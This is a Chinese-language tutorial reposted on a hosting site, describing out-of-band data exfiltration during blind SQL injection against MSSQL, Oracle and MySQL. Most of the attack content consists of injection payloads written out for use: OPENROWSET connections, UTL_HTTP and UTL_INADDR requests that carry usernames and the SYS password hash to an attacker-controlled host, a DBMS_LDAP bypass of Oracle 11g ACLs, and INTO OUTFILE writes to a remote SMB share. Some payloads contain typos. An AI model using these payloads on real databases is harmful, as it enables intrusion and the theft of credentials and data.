鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

SQL高级利用之使用带外通道

来源:互联网 作者:佚名 时间:2015-10-19 08:37
在进行sql注入攻击时经常会遇见 无回显的情况 这时我们就不能成功进行攻击了么? 答案是否定的 攻击可能是成功进行了的 但是 应用程序未返回任何结果 会让你误以为未成功攻击 一种获取数据的有效方法是使用带外通道 能够在数据库中执行任意SQL语句后 我们可以
在进行sql注入攻击时经常会遇见 无回显的情况
这时我们就不能成功进行攻击了么?
答案是否定的
 
 
攻击可能是成功进行了的 但是 应用程序未返回任何结果
会让你误以为未成功攻击
 
 
一种获取数据的有效方法是使用带外通道
能够在数据库中执行任意SQL语句后 我们可以利用数据的一些内置
功能在数据库与自己的计算机之间建立网络链接 通过它传送从数据库中收集的任何信息
 
 
No.1 Mssql
一些老的数据库如Mssql2000以及更早的版本 可以使用OpenRowSet命令与外部数据库建立
连接并插入任何数据
 
 
如:
insert into openrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=xxxx.net,80;UID=sa;PWD=xxx',
'select * from foo'
)
value(@@version)   注:可以为80端口或其他端口
 
 
No.2 Oracle
Oracle的带外通道方法较多
UTL_HTTP 
UTL_INADDR 
UTL_SMTP 
UTL_TCP 
1UTL_HTTP: 可用于向其他主机提出任意的http请求.
方法:
/bingdao.asp?empno=2131'||UTL_HTTP.request('xxxx.com:80/'||(SELECT username from all_user where xxxx=1))--
作用是UTL_HTTP提出一个get请求 要求访问包含all_user表中的第一个用户名的URL
只需在xxxx.com监听80端口即可
 
 
2UTL_INADDR:可用于在攻击者控制的服务器中生成任意的DNS查询
比http的方式要好用些
如:
/bingdao.asp?empno=1231'||UTL_INADDR.GET_HOST_NAME((SELECT password from dba_users where name='SYS')||
'.xxx.com'
)
作用是它向包含SYS用户的hash的xxx.com的名称服务器发出下面这个DNS查询
asdac1244124.xxx.com
 
 
3UTL_SMTP:用于发送电子邮件 在出站电子邮件中发送这个报.即可获得大量从数据库截取的数据
 
 
4UTL_TCP用于打开任意TCP套接字 发送和接受网络数据
 
 
但在oracle11g中 以上用法是被ACL保护了的  注:Oracle 11g是甲骨文公司在2007年年7月12日推出的最新数据库软件
不过也有突破的方法:
SYS.DBMS_LDAP.INIT((SELECT password frin SYS.user$ where name='sys')||'.xxx.com',80)
 
--------------------------------------------------------------------------------
 
No.3 MYSQL
MYSQL的带外通道 想要达到效果 方法较繁琐但还是说下吧
 
 
SELECT...INTO OUTFILE 命令可将任意一个查询的输出指向一个文件
如:
select * into outfile '\\\\xxxx.com\\share\\output.txt' from users;
要想收到文件必须要在计算机上建立SMP共享允许匿名写入访问。
如果无法接受到文件可能是由于smb服务器的配置有问题
网友评论
<